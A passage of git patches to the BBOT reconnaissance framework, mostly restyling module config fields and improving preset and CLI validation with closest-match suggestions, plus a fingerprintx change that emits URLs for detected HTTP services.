EMAIL_ADDRESS events') - urls: bool = Field(True, description='emit URL_UNVERIFIED events') + emails: bool = Field(True, description="emit EMAIL_ADDRESS events") + urls: bool = Field(True, description="emit URL_UNVERIFIED events") async def setup(self): self._emails = self.config.get("emails", True) diff --git a/bbot/modules/shodan_dns.py b/bbot/modules/shodan_dns.py index f3654fabf1..7a023b47ef 100644 --- a/bbot/modules/shodan_dns.py +++ b/bbot/modules/shodan_dns.py @@ -13,8 +13,9 @@ class shodan_dns(shodan): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='Shodan API key') + api_key: str = Field("", description="Shodan API key") base_url = "https://api.shodan.io" diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index 3cd732e0a4..46f9fb9511 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -13,9 +13,13 @@ class shodan_enterprise(BaseModule): "description": "Shodan Enterprise API integration module.", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='Shodan API Key') - in_scope_only: bool = Field(True, description='Only query in-scope IPs. If False, will query up to distance 1.') + api_key: str = Field("", description="Shodan API Key") + in_scope_only: bool = Field( + True, description="Only query in-scope IPs. If False, will query up to distance 1." + ) + in_scope_only = True base_url = "https://api.shodan.io" diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py index 31d8fbda36..b2c1208b4f 100644 --- a/bbot/modules/shodan_idb.py +++ b/bbot/modules/shodan_idb.py @@ -50,8 +50,12 @@ class shodan_idb(BaseModule): "created_date": "2023-12-22", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - retries: Optional[str] = Field(None, description='How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting.') + retries: Optional[str] = Field( + None, + description="How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting.", + ) # we typically don't want to abort this module _api_failure_abort_threshold = 9999999999 diff --git a/bbot/modules/sslcert.py b/bbot/modules/sslcert.py index ffc0890f2e..62911d1b3f 100644 --- a/bbot/modules/sslcert.py +++ b/bbot/modules/sslcert.py @@ -19,9 +19,11 @@ class sslcert(BaseModule): "created_date": "2022-03-30", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - timeout: float = Field(5.0, description='Socket connect timeout in seconds') + timeout: float = Field(5.0, description="Socket connect timeout in seconds") skip_non_ssl: bool = Field(True, description="Don't try common non-SSL ports") + deps_apt = ["openssl"] deps_pip = ["pyOpenSSL~=25.3.0"] _module_threads = 25 diff --git a/bbot/modules/subdomainradar.py b/bbot/modules/subdomainradar.py index 5d98a7a7fd..f8fada1714 100644 --- a/bbot/modules/subdomainradar.py +++ b/bbot/modules/subdomainradar.py @@ -16,10 +16,11 @@ class SubdomainRadar(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='SubDomainRadar.io API key') - group: str = Field('fast', description='The enumeration group to use. Choose from fast, medium, deep') - timeout: int = Field(120, description='Timeout in seconds') + api_key: str = Field("", description="SubDomainRadar.io API key") + group: str = Field("fast", description="The enumeration group to use. Choose from fast, medium, deep") + timeout: int = Field(120, description="Timeout in seconds") base_url = "https://api.subdomainradar.io" ping_url = f"{base_url}/profile" diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index 70c168bea2..62ae34404b 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -156,8 +156,8 @@ class telerik(BaseModule): RAUConfirmed = [] class Config(BaseModuleConfig): - exploit_RAU_crypto: bool = Field(False, description='Attempt to confirm any RAU AXD detections are vulnerable') - include_subdirs: bool = Field(False, description='Include subdirectories in the scan (off by default)') + exploit_RAU_crypto: bool = Field(False, description="Attempt to confirm any RAU AXD detections are vulnerable") + include_subdirs: bool = Field(False, description="Include subdirectories in the scan (off by default)") in_scope_only = True diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index a8400b48d7..c7cf634f65 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -18,14 +18,14 @@ class trajan(BaseModule): # Configuration options class Config(BaseModuleConfig): - version: str = Field('1.0.0', description='Trajan version to download and use') - github_token: str = Field('', description='GitHub API token for rate-limiting and private repo access') - gitlab_token: str = Field('', description='GitLab API token for private repo access') - ado_token: str = Field('', description='Azure DevOps Personal Access Token (PAT)') - jfrog_token: str = Field('', description='JFrog API token') - jenkins_username: str = Field('', description='Jenkins username for basic auth') - jenkins_password: str = Field('', description='Jenkins password for basic auth') - jenkins_token: str = Field('', description='Jenkins API token') + version: str = Field("1.0.0", description="Trajan version to download and use") + github_token: str = Field("", description="GitHub API token for rate-limiting and private repo access") + gitlab_token: str = Field("", description="GitLab API token for private repo access") + ado_token: str = Field("", description="Azure DevOps Personal Access Token (PAT)") + jfrog_token: str = Field("", description="JFrog API token") + jenkins_username: str = Field("", description="Jenkins username for basic auth") + jenkins_password: str = Field("", description="Jenkins password for basic auth") + jenkins_token: str = Field("", description="Jenkins API token") deps_ansible = [ { diff --git a/bbot/modules/trickest.py b/bbot/modules/trickest.py index c008a89bd5..12f835ab24 100644 --- a/bbot/modules/trickest.py +++ b/bbot/modules/trickest.py @@ -13,8 +13,9 @@ class Trickest(subdomain_enum_apikey): "created_date": "2024-07-27", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='Trickest API key') + api_key: str = Field("", description="Trickest API key") base_url = "https://api.trickest.io/solutions/v1/public/solution/a7cba1f1-df07-4a5c-876a-953f178996be" ping_url = f"{base_url}/dataset" diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 95cfd6d016..3baa6503b4 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -16,11 +16,15 @@ class trufflehog(BaseModule): } class Config(BaseModuleConfig): - version: str = Field('3.90.8', description='trufflehog version') - config: str = Field('', description='File path or URL to YAML trufflehog config') - only_verified: bool = Field(True, description='Only report credentials that have been verified') - concurrency: int = Field(8, description='Number of concurrent workers') - deleted_forks: bool = Field(False, description='Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours.') + version: str = Field("3.90.8", description="trufflehog version") + config: str = Field("", description="File path or URL to YAML trufflehog config") + only_verified: bool = Field(True, description="Only report credentials that have been verified") + concurrency: int = Field(8, description="Number of concurrent workers") + deleted_forks: bool = Field( + False, + description="Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours.", + ) + deps_ansible = [ { "name": "Download trufflehog", diff --git a/bbot/modules/url_manipulation.py b/bbot/modules/url_manipulation.py index cca6effc88..6f56c4e5e7 100644 --- a/bbot/modules/url_manipulation.py +++ b/bbot/modules/url_manipulation.py @@ -16,7 +16,10 @@ class url_manipulation(BaseModule): in_scope_only = True class Config(BaseModuleConfig): - allow_redirects: bool = Field(True, description='Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default.') + allow_redirects: bool = Field( + True, + description="Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default.", + ) async def setup(self): # ([string]method,[string]path,[bool]strip trailing slash) diff --git a/bbot/modules/urlscan.py b/bbot/modules/urlscan.py index c433e9a0d1..adaf72af73 100644 --- a/bbot/modules/urlscan.py +++ b/bbot/modules/urlscan.py @@ -12,8 +12,9 @@ class urlscan(subdomain_enum): "created_date": "2022-06-09", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - urls: bool = Field(False, description='Emit URLs in addition to DNS_NAMEs') + urls: bool = Field(False, description="Emit URLs in addition to DNS_NAMEs") base_url = "https://urlscan.io/api/v1" diff --git a/bbot/modules/virustotal.py b/bbot/modules/virustotal.py index ec7e1e3ebd..ac69dea3d1 100644 --- a/bbot/modules/virustotal.py +++ b/bbot/modules/virustotal.py @@ -13,8 +13,9 @@ class virustotal(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='VirusTotal API Key') + api_key: str = Field("", description="VirusTotal API Key") base_url = "https://www.virustotal.com/api/v3" api_page_iter_kwargs = {"json": False, "next_key": lambda r: r.json().get("links", {}).get("next", "")} diff --git a/bbot/modules/wafw00f.py b/bbot/modules/wafw00f.py index 58d2085c62..499fae3c0c 100644 --- a/bbot/modules/wafw00f.py +++ b/bbot/modules/wafw00f.py @@ -27,7 +27,9 @@ class wafw00f(BaseModule): deps_pip = ["wafw00f~=2.3.1"] class Config(BaseModuleConfig): - generic_detect: bool = Field(True, description='When no specific WAF detections are made, try to perform a generic detect') + generic_detect: bool = Field( + True, description="When no specific WAF detections are made, try to perform a generic detect" + ) in_scope_only = True per_hostport_only = True diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index c07b3ff827..203ba7edc2 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -14,9 +14,14 @@ class wayback(subdomain_enum): "created_date": "2022-04-01", "author": "@liquidsec", } + class Config(BaseModuleConfig): - urls: bool = Field(False, description='emit URLs in addition to DNS_NAMEs') - garbage_threshold: int = Field(10, description='Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data)') + urls: bool = Field(False, description="emit URLs in addition to DNS_NAMEs") + garbage_threshold: int = Field( + 10, + description="Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data)", + ) + in_scope_only = True base_url = "http://web.archive.org" diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index 4fc1c0ddc1..e6953bd08a 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -15,13 +15,18 @@ class wpscan(BaseModule): } class Config(BaseModuleConfig): - api_key: str = Field('', description='WPScan API Key') - enumerate: str = Field('vp,vt,cb,dbe', description='Enumeration Process see wpscan help documentation (default: vp,vt,cb,dbe)') - threads: int = Field(5, description='How many wpscan threads to spawn (default is 5)') - request_timeout: int = Field(5, description='The request timeout in seconds (default 5)') - connection_timeout: int = Field(2, description='The connection timeout in seconds (default 2)') - disable_tls_checks: bool = Field(True, description='Disables the SSL/TLS certificate verification (Default True)') - force: bool = Field(False, description='Do not check if the target is running WordPress or returns a 403') + api_key: str = Field("", description="WPScan API Key") + enumerate: str = Field( + "vp,vt,cb,dbe", description="Enumeration Process see wpscan help documentation (default: vp,vt,cb,dbe)" + ) + threads: int = Field(5, description="How many wpscan threads to spawn (default is 5)") + request_timeout: int = Field(5, description="The request timeout in seconds (default 5)") + connection_timeout: int = Field(2, description="The connection timeout in seconds (default 2)") + disable_tls_checks: bool = Field( + True, description="Disables the SSL/TLS certificate verification (Default True)" + ) + force: bool = Field(False, description="Do not check if the target is running WordPress or returns a 403") + deps_apt = ["curl", "make", "gcc"] deps_ansible = [ { diff --git a/bbot/scanner/preset/validate.py b/bbot/scanner/preset/validate.py index a50e3a0523..008c29728b 100644 --- a/bbot/scanner/preset/validate.py +++ b/bbot/scanner/preset/validate.py @@ -26,6 +26,8 @@ from pydantic import ValidationError +from bbot.core.helpers.misc import get_closest_match + log = logging.getLogger("bbot.presets.validate") @@ -70,7 +72,7 @@ def _classify_loc(loc: tuple) -> tuple[str, str]: return ("preset", ".".join(parts)) -def _format_msg(err: dict) -> str: +def _format_msg(err: dict, known_modules: set | None = None) -> str: kind = err["type"] input_value = err.get("input") loc = err["loc"] @@ -78,10 +80,10 @@ def _format_msg(err: dict) -> str: path = ".".join(str(p) for p in loc) if kind == "extra_forbidden": - # Special-case the unknown-module-name error so users get - # "Unknown module: 'nucleii'" instead of "Unknown option: 'nucleii'". + # Special-case unknown module name (config.modules.) so users get + # a suggestion rather than "Unknown option". if len(loc) == 3 and loc[0] == "config" and loc[1] == "modules": - return f'Unknown module: "{field}"' + return get_closest_match(field, known_modules or set(), msg="module") msg = f"Unknown option: {field!r}" if isinstance(input_value, (str, int, bool, float)): msg += f" (value: {input_value!r})" @@ -112,11 +114,11 @@ def _format_msg(err: dict) -> str: return err["msg"] if err.get("msg") else f"validation error at {path}" -def _format_errors(exc: ValidationError) -> list[PresetValidationError]: +def _format_errors(exc: ValidationError, known_modules: set | None = None) -> list[PresetValidationError]: out: list[PresetValidationError] = [] for err in exc.errors(): where, path = _classify_loc(err["loc"]) - out.append(PresetValidationError(where=where, path=path, message=_format_msg(err))) + out.append(PresetValidationError(where=where, path=path, message=_format_msg(err, known_modules))) return out @@ -125,8 +127,14 @@ def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidati Validate a preset dict against BBOT's composite schema. Returns a list of `PresetValidationError` objects. An empty list means - the preset is valid. Errors from all layers are aggregated in a single - pass, so a user with multiple typos sees them all at once. + the preset is valid. Errors from all layers are aggregated, so a user + with multiple typos sees them all at once. + + **Side effect**: any custom `module_dirs` declared in the preset (either + at top level or inside `config`) are registered with `module_loader` so + their modules become known. Without this, modules from a custom dir + would be falsely reported as unknown. Idempotent — `add_module_dir` + short-circuits on already-loaded directories. Args: preset_dict: Preset as a plain dict (e.g. from `yaml.safe_load`). @@ -146,28 +154,37 @@ def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidati module_loader = MODULE_LOADER + # Pre-load any custom module_dirs the preset declares so the composite + # schema includes their modules. Defensive iteration — bad shape gets + # surfaced by the schema pass below. + config_dict = preset_dict.get("config") + for source in ( + preset_dict.get("module_dirs"), + config_dict.get("module_dirs") if isinstance(config_dict, dict) else None, + ): + for d in source or []: + if isinstance(d, str): + module_loader.add_module_dir(d) + errors: list[PresetValidationError] = [] + known_modules = set(module_loader.all_module_choices) - # Single-pass validation against the composite schema + # Validate against the composite schema (rebuilt automatically if new + # module_dirs were just preloaded above). Closest-match suggestions + # for unknown module names are produced inside the formatter. try: module_loader.validation_schema.model_validate(preset_dict) except ValidationError as e: - errors.extend(_format_errors(e)) + errors.extend(_format_errors(e, known_modules=known_modules)) # Module names listed in top-level `modules`/`output_modules`/`exclude_modules` # aren't covered by the composite schema (they're a list of strings, not a - # nested mapping). Check them here. - known_modules = set(module_loader.all_module_choices) + # nested mapping). Check them explicitly, with the same closest-match hint. for key in ("modules", "output_modules", "exclude_modules"): for name in preset_dict.get(key) or []: if name not in known_modules: - errors.append( - PresetValidationError( - where="preset", - path=key, - message=f'Unknown module: "{name}"', - ) - ) + hint = get_closest_match(name, known_modules, msg="module") + errors.append(PresetValidationError(where="preset", path=key, message=hint)) return errors From 49e24d977a932792fb3f2cdeb4a51bc58ba49d6d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 28 Apr 2026 14:53:29 +0000 Subject: [PATCH 572/912] Update pytest requirement from <9,>=8.3.1 to >=8.3.1,<10 Updates the requirements on [pytest](https://github.com/pytest-dev/pytest) to permit the latest version. - [Release notes](https://github.com/pytest-dev/pytest/releases) - [Changelog](https://github.com/pytest-dev/pytest/blob/main/CHANGELOG.rst) - [Commits](https://github.com/pytest-dev/pytest/compare/8.3.1...9.0.3) --- updated-dependencies: - dependency-name: pytest dependency-version: 9.0.3 dependency-type: direct:development ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 85ae0b9cb2..2de1d7fd2a 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -72,7 +72,7 @@ dev = [ "pytest-rerunfailures>=14,<17", "pytest-timeout>=2.3.1,<3", "pytest-httpserver>=1.0.11,<2", - "pytest>=8.3.1,<9", + "pytest>=8.3.1,<10", "pytest-asyncio==1.3.0", "uvicorn>=0.32,<0.40", "fastapi>=0.115.5,<0.137.0", From 58c159d52e081e11f7bdf4ebd7081ee03014b32b Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Tue, 28 Apr 2026 13:48:49 -0400 Subject: [PATCH 573/912] preset tests --- bbot/test/test_step_1/test_validate_preset.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_1/test_validate_preset.py b/bbot/test/test_step_1/test_validate_preset.py index 128a5c1979..4fe9ca4121 100644 --- a/bbot/test/test_step_1/test_validate_preset.py +++ b/bbot/test/test_step_1/test_validate_preset.py @@ -33,7 +33,8 @@ def test_validate_preset_wrong_type(): def test_validate_preset_unknown_module(): errs = validate_preset({"modules": ["nucleii"]}) - assert any('Unknown module: "nucleii"' in str(e) for e in errs) + # closest-match suggestion: "Could not find module 'nucleii'. Did you mean 'nuclei'?" + assert any('"nucleii"' in str(e) and "nuclei" in str(e) for e in errs) def test_validate_preset_unknown_module_option(): @@ -57,7 +58,8 @@ def test_validate_preset_wrong_type_on_module_option(): def test_validate_preset_unknown_module_in_config(): """Unknown module name nested under config.modules gets a clean error.""" errs = validate_preset({"config": {"modules": {"nucleii": {"tgas": "x"}}}}) - assert any('Unknown module: "nucleii"' in str(e) for e in errs) + # closest-match: "Could not find module 'nucleii'. Did you mean 'nuclei'?" + assert any('"nucleii"' in str(e) and "nuclei" in str(e) for e in errs) def test_validate_preset_multiple_errors(): From 29c554f5f57c70c611c373d59ef5a9aa9c143a50 Mon Sep 17 00:00:00 2001 From: Johnathan <39648915+TrebledJ@users.noreply.github.com> Date: Wed, 29 Apr 2026 06:47:47 +0800 Subject: [PATCH 574/912] enhancement: in fingerprintx, emit `URL_UNVERIFIED` event upon detecting http protocols --- bbot/modules/fingerprintx.py | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/bbot/modules/fingerprintx.py b/bbot/modules/fingerprintx.py index bea096dfeb..8221984a4e 100644 --- a/bbot/modules/fingerprintx.py +++ b/bbot/modules/fingerprintx.py @@ -5,7 +5,7 @@ class fingerprintx(BaseModule): watched_events = ["OPEN_TCP_PORT"] - produced_events = ["PROTOCOL"] + produced_events = ["PROTOCOL", "URL_UNVERIFIED"] flags = ["safe", "active", "service-enum", "slow"] meta = { "description": "Fingerprint exposed services like RDP, SSH, MySQL, etc.", @@ -93,3 +93,14 @@ async def handle_batch(self, *events): tags=tags, context=f"{{module}} probed {port_data} and detected {{event.type}}: {protocol}", ) + if protocol in ("HTTP", "HTTPS"): + netloc = f"{protocol.lower()}://{host}" + if port not in (80, 443): + netloc += f":{port}" + await self.emit_event( + netloc, + "URL_UNVERIFIED", + parent=parent_event, + tags=tags, + context=f"{{module}} probed {port_data} and detected a {protocol} web service", + ) From 39c7f2c1202431a816b59ee8a04176c909b126af Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Wed, 29 Apr 2026 12:56:36 -0400 Subject: [PATCH 575/912] fix tests --- bbot/modules/lightfuzz/lightfuzz.py | 2 +- bbot/modules/templates/gitlab.py | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index b8cc6b1f75..06b735ebb8 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -246,7 +246,7 @@ def help_text(self): import importlib submodules = {} - for submodule_name in self.options.get("enabled_submodules", []): + for submodule_name in self.config.get("enabled_submodules", []): try: submodule_module = importlib.import_module(f"bbot.modules.lightfuzz.submodules.{submodule_name}") submodule_class = getattr(submodule_module, submodule_name) diff --git a/bbot/modules/templates/gitlab.py b/bbot/modules/templates/gitlab.py index d53ac12596..a40832bc3a 100644 --- a/bbot/modules/templates/gitlab.py +++ b/bbot/modules/templates/gitlab.py @@ -16,8 +16,7 @@ class GitLabBaseModule(BaseModule): saas_domains = ["gitlab.com", "gitlab.org"] async def setup(self): - if self.options.get("api_key") is not None: - await self.require_api_key() + await self.require_api_key() return True async def handle_social(self, event): From 20af84e2d7aae2bc2f5959b47d965e0609c9a0ee Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Wed, 29 Apr 2026 15:24:03 -0400 Subject: [PATCH 576/912] cleanup, test fixes --- bbot/core/config/models.py | 15 ++++++++-- bbot/scanner/preset/args.py | 49 +++++++++++++------------------ bbot/scanner/preset/validate.py | 34 ++++++++++++++++----- bbot/scripts/docs.py | 8 ++--- bbot/test/test_step_1/test_cli.py | 8 +++-- 5 files changed, 67 insertions(+), 47 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 815e66d8c6..3ac3e83d62 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -108,9 +108,18 @@ class BaseModuleConfig(BaseModel): model_config = STRICT - batch_size: Optional[int] = None - module_threads: Optional[int] = None - module_timeout: Optional[int] = None + batch_size: Optional[int] = Field( + default=None, + description="The number of events to process in a single batch (only applies to batch modules)", + ) + module_threads: Optional[int] = Field( + default=None, + description="How many event handlers to run in parallel", + ) + module_timeout: Optional[int] = Field( + default=None, + description="Max time in seconds to spend handling each event or batch of events", + ) class BBOTConfig(BaseSettings): diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index ae51491d8f..3a0da5d248 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -1,11 +1,10 @@ -import re import yaml import logging import argparse from bbot.errors import * -from bbot.core.config.merge import dotted_get, dotted_set -from bbot.core.helpers.misc import chain_lists, get_closest_match, get_keys_in_dot_syntax +from bbot.core.config.merge import dotted_set +from bbot.core.helpers.misc import chain_lists def _parse_cli_value(raw: str): @@ -14,8 +13,12 @@ def _parse_cli_value(raw: str): YAML safe_load handles `true`/`false`/`null`/ints/floats and quoted strings the way users expect when they write `web.spider_distance=2` or - `modules.stdout.event_fields='[type, data]'`. + `modules.stdout.event_fields='[type, data]'`. An empty RHS (`-c key=`) is + treated as an empty string rather than None — matching the "clear this + value" intent users normally have. """ + if raw == "": + return "" try: return yaml.safe_load(raw) except yaml.YAMLError: @@ -47,19 +50,7 @@ def parse_dotted_cli(entries): log = logging.getLogger("bbot.presets.args") -universal_module_options = { - "batch_size": "The number of events to process in a single batch (only applies to batch modules)", - "module_threads": "How many event handlers to run in parallel", - "module_timeout": "Max time in seconds to spend handling each event or batch of events", -} - - class BBOTArgs: - # module config options to exclude from validation - exclude_from_validation = re.compile( - r".*modules\.[a-z0-9_]+\.(?:" + "|".join(universal_module_options.keys()) + ")$" - ) - scan_examples = [ ( "Subdomains", @@ -491,16 +482,16 @@ def sanitize_args(self): self.parsed.preset += ["fast"] def validate(self): - # validate config options - sentinel = object() - all_options = set(get_keys_in_dot_syntax(self.preset.core.default_config)) - for c in self.parsed.config: - c = c.split("=")[0].strip() - v = dotted_get(self.preset.core.default_config, c, default=sentinel) - # if option isn't in the default config - if v is sentinel: - # skip if it's excluded from validation - if self.exclude_from_validation.match(c): - continue - # otherwise, ensure it exists as a module option - raise ValidationError(get_closest_match(c, all_options, msg="config option")) + """ + Validate the CLI `-c key=value` arguments against the composite + preset schema. Catches typos like `bbot -c modules.shoudn.api_key=x` + with a closest-match suggestion. + """ + from .validate import validate_preset + + if not self.parsed.config: + return + cli_dict = parse_dotted_cli(self.parsed.config) + errs = validate_preset({"config": cli_dict}, module_loader=self.preset.module_loader) + if errs: + raise ValidationError("\n".join(str(e) for e in errs)) diff --git a/bbot/scanner/preset/validate.py b/bbot/scanner/preset/validate.py index 008c29728b..7f0a9e6afd 100644 --- a/bbot/scanner/preset/validate.py +++ b/bbot/scanner/preset/validate.py @@ -26,7 +26,7 @@ from pydantic import ValidationError -from bbot.core.helpers.misc import get_closest_match +from bbot.core.helpers.misc import get_closest_match, get_keys_in_dot_syntax log = logging.getLogger("bbot.presets.validate") @@ -72,7 +72,7 @@ def _classify_loc(loc: tuple) -> tuple[str, str]: return ("preset", ".".join(parts)) -def _format_msg(err: dict, known_modules: set | None = None) -> str: +def _format_msg(err: dict, known_modules: set | None = None, known_paths: set | None = None) -> str: kind = err["type"] input_value = err.get("input") loc = err["loc"] @@ -80,10 +80,17 @@ def _format_msg(err: dict, known_modules: set | None = None) -> str: path = ".".join(str(p) for p in loc) if kind == "extra_forbidden": - # Special-case unknown module name (config.modules.) so users get - # a suggestion rather than "Unknown option". + # Special-case unknown module name (config.modules.) — users get + # a suggestion drawn from the set of known module names. if len(loc) == 3 and loc[0] == "config" and loc[1] == "modules": return get_closest_match(field, known_modules or set(), msg="module") + # For everything else, suggest from the known dotted-path universe + # (`web.spier_distance` → `web.spider_distance`). + if known_paths: + # strip the leading "config." prefix when matching, since + # default_config dotted paths don't include it + lookup_path = ".".join(str(p) for p in loc[1:]) if loc and loc[0] == "config" else path + return get_closest_match(lookup_path, known_paths, msg="config option") msg = f"Unknown option: {field!r}" if isinstance(input_value, (str, int, bool, float)): msg += f" (value: {input_value!r})" @@ -114,11 +121,19 @@ def _format_msg(err: dict, known_modules: set | None = None) -> str: return err["msg"] if err.get("msg") else f"validation error at {path}" -def _format_errors(exc: ValidationError, known_modules: set | None = None) -> list[PresetValidationError]: +def _format_errors( + exc: ValidationError, + known_modules: set | None = None, + known_paths: set | None = None, +) -> list[PresetValidationError]: out: list[PresetValidationError] = [] for err in exc.errors(): where, path = _classify_loc(err["loc"]) - out.append(PresetValidationError(where=where, path=path, message=_format_msg(err, known_modules))) + out.append( + PresetValidationError( + where=where, path=path, message=_format_msg(err, known_modules, known_paths) + ) + ) return out @@ -168,14 +183,17 @@ def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidati errors: list[PresetValidationError] = [] known_modules = set(module_loader.all_module_choices) + # Universe of valid dotted config paths, used for "did you mean ...?" + # suggestions on unknown global-config keys. + known_paths = set(get_keys_in_dot_syntax(module_loader.core.default_config)) # Validate against the composite schema (rebuilt automatically if new # module_dirs were just preloaded above). Closest-match suggestions - # for unknown module names are produced inside the formatter. + # for unknown module names + config options are produced inside the formatter. try: module_loader.validation_schema.model_validate(preset_dict) except ValidationError as e: - errors.extend(_format_errors(e, known_modules=known_modules)) + errors.extend(_format_errors(e, known_modules=known_modules, known_paths=known_paths)) # Module names listed in top-level `modules`/`output_modules`/`exclude_modules` # aren't covered by the composite schema (they're a list of strings, not a diff --git a/bbot/scripts/docs.py b/bbot/scripts/docs.py index 8da02e83bd..2b52f69316 100755 --- a/bbot/scripts/docs.py +++ b/bbot/scripts/docs.py @@ -182,12 +182,12 @@ def update_individual_module_options(): assert len(bbot_output_module_table.splitlines()) > 10 update_md_files("BBOT OUTPUT MODULES", bbot_output_module_table) - # BBOT universal module options - from bbot.scanner.preset.args import universal_module_options + # BBOT universal module options (sourced from BaseModuleConfig) + from bbot.core.config.models import BaseModuleConfig universal_module_options_table = "" - for option, description in universal_module_options.items(): - universal_module_options_table += f"**{option}**: {description}\n" + for name, field in BaseModuleConfig.model_fields.items(): + universal_module_options_table += f"**{name}**: {field.description}\n" update_md_files("BBOT UNIVERSAL MODULE OPTIONS", universal_module_options_table) # BBOT module options diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index 9824bd3fee..b10ad49974 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -466,13 +466,15 @@ def test_cli_config_validation(monkeypatch, caplog): monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True) - # incorrect module option + # incorrect module name nested under modules.* — surfaces as an unknown + # module with a closest-match suggestion (more useful than the legacy + # "Could not find config option ..." phrasing) caplog.clear() assert not caplog.text monkeypatch.setattr("sys.argv", ["bbot", "-c", "modules.ipnegibhor.num_bits=4"]) cli.main() - assert 'Could not find config option "modules.ipnegibhor.num_bits"' in caplog.text - assert 'Did you mean "modules.ipneighbor.num_bits"?' in caplog.text + assert 'Could not find module "ipnegibhor"' in caplog.text + assert 'Did you mean "ipneighbor"?' in caplog.text # incorrect global option caplog.clear() From 4972c121b837cd0073e40b54586bc3ecf350a2d9 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Thu, 30 Apr 2026 11:11:55 -0400 Subject: [PATCH 577/912] fix tests, again --- bbot/modules/output/neo4j.py | 7 ++----- bbot/scanner/preset/validate.py | 6 +----- 2 files changed, 3 insertions(+), 10 deletions(-) diff --git a/bbot/modules/output/neo4j.py b/bbot/modules/output/neo4j.py index 21204f8f0e..3296111766 100644 --- a/bbot/modules/output/neo4j.py +++ b/bbot/modules/output/neo4j.py @@ -48,11 +48,8 @@ class Config(BaseModuleConfig): async def setup(self): try: self.driver = AsyncGraphDatabase.driver( - uri=self.config.get("uri", self.options["uri"]), - auth=( - self.config.get("username", self.options["username"]), - self.config.get("password", self.options["password"]), - ), + uri=self.config.get("uri"), + auth=(self.config.get("username"), self.config.get("password")), ) self.session = self.driver.session() await self.session.run("Match () Return 1 Limit 1") diff --git a/bbot/scanner/preset/validate.py b/bbot/scanner/preset/validate.py index 7f0a9e6afd..e81b8366ba 100644 --- a/bbot/scanner/preset/validate.py +++ b/bbot/scanner/preset/validate.py @@ -129,11 +129,7 @@ def _format_errors( out: list[PresetValidationError] = [] for err in exc.errors(): where, path = _classify_loc(err["loc"]) - out.append( - PresetValidationError( - where=where, path=path, message=_format_msg(err, known_modules, known_paths) - ) - ) + out.append(PresetValidationError(where=where, path=path, message=_format_msg(err, known_modules, known_paths))) return out From eb4c79aed2ba948fe8d70bd81185bdd9f25241bd Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Thu, 30 Apr 2026 11:33:56 -0400 Subject: [PATCH 578/912] support ipv6, add test --- bbot/modules/fingerprintx.py | 11 ++-- .../module_tests/test_module_fingerprintx.py | 54 +++++++++++++++++++ 2 files changed, 60 insertions(+), 5 deletions(-) diff --git a/bbot/modules/fingerprintx.py b/bbot/modules/fingerprintx.py index 8221984a4e..7727b1e6e5 100644 --- a/bbot/modules/fingerprintx.py +++ 